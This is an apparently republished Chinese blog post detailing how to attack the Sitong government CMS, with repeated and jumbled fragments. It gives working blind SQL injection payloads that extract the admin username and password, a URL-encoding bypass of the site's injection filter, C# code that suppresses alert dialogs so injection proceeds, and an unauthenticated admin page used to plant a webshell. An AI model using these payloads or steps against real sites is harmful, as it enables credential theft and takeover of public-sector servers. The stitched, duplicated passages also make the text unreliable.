四通政府CMS管理系统漏洞_清凌荷露_百度空间

bsp;       ’处理方式:1=提示信息,2=转向页面,3=先提示再转向
Fy_Zx = "index.Asp" ’出错时转向的页面
’---定义部份 尾------
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"’")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
Case "1"
Response.Write "<Script Language=JavaScript>alert(’出现错误!参数 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串!\n\n ’);window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href=’"&Fy_Zx&"’</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert(’出现错误!参数 "&Fy_Cs(Fy_x)&"的值中包含非法字符串!\n\n ’);location.href=’"&Fy_Zx&"’;</Script>"
End Select
Response.End
End If
End If
Next
%>

看到了没有和我2期分析的《尘月网站智能管理系统V2009》的防注入代码一样的,通过URL编码技术就可以绕过此防注入代码。将id 修改成 %69d 就可以继续注入。如图9

表面看上去还很安全的CMS系统瞬间崩溃。有了帐户和密码进可进后台拿webshell了,我这里再介绍下如何在后台获取webshell。 二.获取webshell 在后台有个网站基本配置栏目,有很多的站点都可以在这里写入一句话木马得到webshell。打开文件代码是这么写的:

以下是引用片段:
<%
zf11_description = trim(Request.form("zf11_description"))

===================================================

四通政府CMS漏洞利用工具以及 再公布一个四通政府CMS致命漏洞

下载地址:

再次公布个致命漏洞:

   在网站地址后直接加上 admin_set.asp 由于这个文件没有session验证导致漏洞出现,接下来写入一句话瞬间搞定..

===========================================================

四通政府CMS管理系统漏洞(一)

前段时间QQ好友小楼听雨说他们学校网站是用四通政府网架设的,让我看看其安全性。正好手上的工作做完了,索性到百度上找了套4.0版本的程序不过还好算完整的,后来找到了四通的官方网站发现出了6.0版本的,前台界面大体风格和4.0类似,由于当时没有6.0源码只好从4.0着手了。废话不多说了,进入正题。

一.挖掘漏洞之旅

打开网站整体在美工上面较好,给人看了一种威严的感觉。如图1



首先看到新闻页面 “zf11_news.asp” 盲注个单引号直接跳转到新闻列表页,看来程序在这里对参数做了判断。打开代码如下:

以下是引用片段:
<%
     ID=CheckStr(Request.QueryString("ID"))
     If isInt(ID)=False OR Not IsNumeric(ID) Then
     Response.Redirect "news.asp"
     Response.End()
     End If
     set rs=server.createobject("adodb.recordset")
     rs.Open "Select * From zf11_news where id="&id, conn,3,3
     if rs.bof and rs.eof then
     response.Redirect("News.asp")
     end if
%>
代码中的ID通过Request.Querystring(“ID”)获取值,通过 CheckStr函数过滤,正准备看看这个函数是怎么写的,还没等看发现接下来的 isInt IsNumeric函数过滤了ID变量。首先不管isInt函数是怎么判断的,用IsNumeric函数判断了基本上没戏了,所以这里的变量ID也就不用看了没有注入。接下来看了很多文件,大部分变量都是数字型的,都用了上述代码进行判断,直到看见”opensoft.asp”文件才发现有点希望。打开文件发现如下代码:

以下是引用片段:
<%
………
if(request.querystring("id") <> "") then
colname = request.querystring("id")
end if
url="soft_url"+request("url")
sql="select * from [zf11_d_news] where id="&colname&""
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…………..
%>
上述代码中的 colname 变量直接获取客户端id,没有经过任何函数过滤,并且接下来的Request(“url”)也没有经过函数过滤,但此函数没有带入数据库查询,不过colname带入了SQL语句按道理说是个明显的数字型注入点,可是这个地方的注入点以我的水平利用不了。为什么呢?有的人说用啊D等注入工具跑了就得了,如果真的是这么简单的话就好了。在此段代码上半部分做了一个防盗链的处理,代码如下:

以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法链接!" ’防止盗链
response.end
end if
%>
代码中 Cstr(Request.ServerVariables("HTTP_REFERER"))表示判断是从什么页面转过来的, Cstr(Request.ServerVariables("SERVER_NAME")) 表示获取当前的服务器名称, 代码输出后应该是如图 2

Form_url变量的第8位起截取 Serv_url长度的字符,如果不匹配的话就表示非法链接。但是我们注入的时候在浏览器中输入注入字符,再提交的话,程序本身获取不到Form_url变量,所以提示非法连接,但是Request.ServerVariables("HTTP_REFERER")这个变量从理论上是可控变量,可以拿来伪造,由于本人技术有限在百度上查找了很长时间也没找到成功的方法,在此希望高手们不吝指教。

这里的希望再次成为泡影只好继续看文件代码。看下根目录下的数据库连接文件并没有暴库漏洞,不过在Count目录下的数据库连接文件conn.asp中发现了没有容错语句导致可以暴库。如图3



这个漏洞的利用价值还是蛮大的,本地测试的时候可以轻松下载数据库。但是在网络上测试的时候没有一个成功过,这个我就不理解了。带着期望继续看文件,直到Search.asp文件才发现了重大的突破。代码如下:

以下是引用片段:
<%
Title=Trim(Request.Form("txtitle"))
if title<>"" then
     sql="select * from Info where title like ’%"&trim(title)&"%’ or content like ’%"&trim(title)&"%’ order by ID desc"
end if
%>

很简单的一句SQL语句轻松的成全了搜索型注入。Title变量获取变量只是简单的过滤掉空格,带入Sql语句,在这里我们要想办法闭合'% , 构造这样一句话   %' and 1=1 and ' %' =' 就可成功注入。这里的搜索框有长度限制, <input name=txtitle type=Text id=txtitle size=20 maxlength=50 />代码中限定了长度为50个字符。本地做个页面提交就行了。不过我在这里用Union查询不成功,后来用ACIIS码猜解法成功猜解,但是{zd0}的弊端就是猜解很费时间和工夫。

猜解帐户:

%' and (select top 1 asc(mid(username,1,1)) from admin) >20 and '%'='

猜解密码:

%' and (select top 1 asc(mid(password,2,1)) from admin) >20 and '%'='

猜解成功后就可用牛族的字符转换器转换一下能看到密码和帐户如图45



要真的这样的注入的话岂不累死人了,猜解半天不说还不一定能xx密码。带着郁闷的心情继续看代码,终于让我在downnews.asp文件中发现了重大的安全漏洞。此漏洞不太寻常,利用的手法也很独特。漏洞文件代码如下:

以下是引用片段:
<%
dim founderr
founderr=false
if request.querystring("id")="" then
founderr=true
Response.Write "<script language=javascript>alert(’请指定操作的对象!’);javascript:history.back();</script>"
else
if not isInteger(request.querystring("id")) then
     founderr=true
     Response.Write "<script language=javascript>alert(’参数非法!’);javascript:history.back();</script>"
end if
end if
sql="select * from zf11_d_news where id="&request.querystring("id")
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
%>
这样一段代码乍看上去没有问题,其实暗藏杀机。{dy}个
if语句就不用看了,没多大关系,主要看

以下是引用片段:
if not isInteger(request.querystring("id")) then
     founderr=true
     Response.Write "<script language=javascript>alert(’参数非法!’);javascript:history.back();</script>"
end if
代码中
获取的值通过 isInteger函数过滤,我们来看下这个函数怎么写的.

以下是引用片段:
function isInteger(para)
        on error resume next
        dim str
        dim l,i
        if isNUll(para) then
           isInteger=false
         exit function
        end if
        str=cstr(para)
        if trim(str)="" then
           isInteger=false
           exit function
        end if
        l=len(str)
        for i=1 to l
            if mid(str,i,1)>"9" or mid(str,i,1)<"0" then
               isInteger=false
               exit function
            end if
        next
        isInteger=true
        if err.number<>0 then err.clear
end function
代码中判断数字型是没有问题的。的确可以起到防注入的效果,当我们输入字符串的时候满足这个条件
founderr=true
Response.Write "<script language=javascript>alert(’参数非法!’);javascript:history.back();</script>"
错误信息成立,弹出
JS对话框返回当前页面。但是程序在这里没有用Response.End语句结束,程序默认还会继续向下执行,我们注入的字符会带入数据库操作。只是在客户端浏览器不能显示罢了。我们来测试一下 如图6



我加了单引号提示参数非法。当我们在程序中将该句注释掉看看字符是不是带入数据库了。如图7



程序已经出错了,显示的页面也不正常了,我们输出的SQL明显将单引号带入数据库中。现在的问题就是如何将客户端的JS对话框屏蔽掉,经过一段时间思考还是将目标定在客户端去屏蔽 本地由于没有安装VB,只好用.NET做个漏洞利用工具出来。程序主要利用到”mshtml”这个com组件来实现对客户端JS的屏蔽。以下是C# code:

首先要引用 mshtml ,在webBrowser1_Navigated 事件中写入以下 代码:

以下是引用片段:
IHTMLWindow2 win = (IHTMLWindow2)webBrowser1.Document.Window.DomWindow;
string s = "window.alert = null;\r\nwindow.confirm = null;\r\nwindow.open = null;\r\nwindow.showModalDialog = null;";
             win.execScript(s, "javascript");
我们用工具来注入试试。如图8



以上漏洞是4.0版本的漏洞,可以轻松获取管理员帐户和密码。在实战中我发现也有不少的网站用了6.0版本,对于此版本我拿下了一套回来分析一下也是存在安全漏洞的。此版本增加了通用防注入,起到了整站防注入的效果。可惜防注入代码如下:

以下是引用片段:
<%
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
’---定义部份 头------
Fy_Cl = 3            ’处理方式:1=提示信息,2=转向页面,3=先提示再转向
Fy_Zx = "index.Asp" ’出错时转向的页面
’---定义部份 尾------
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"’")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
Case "1"
Response.Write "<Script Language=JavaScript>alert(’出现错误!参数 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串!\n\n ’);window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href=’"&Fy_Zx&"’</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert(’出现错误!参数 "&Fy_Cs(Fy_x)&"的值中包含非法字符串!\n\n ’);location.href=’"&Fy_Zx&"’;</Script>"
End Select
Response.End
End If
End If
Next
%>

看到了没有和我



表面看上去还很安全的CMS系统瞬间崩溃。有了帐户和密码进可进后台拿webshell了,我这里再介绍下如何在后台获取webshell

2期分析的《尘月网站智能管理系统V2009》的防注入代码一样的,通过URL编码技术就可以绕过此防注入代码。将id 修改成 %69d 就可以继续注入。如图9SQL语句轻松的成全了搜索型注入。Title变量获取变量只是简单的过滤掉空格,带入Sql语句,在这里我们要想办法闭合'% , 构造这样一句话   图片新闻测试%' and 1=1 and ' %' =' 就可成功注入。这里的搜索框有长度限制, <input name=txtitle type=Text id=txtitle size=20 maxlength=50 />代码中限定了长度为50个字符。本地做个页面提交就行了。不过我在这里用Union查询不成功,后来用ACIIS码猜解法成功猜解,但是{zd0}的弊端就是猜解很费时间和工夫。


郑重声明:资讯 【四通政府CMS管理系统漏洞_清凌荷露_百度空间】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——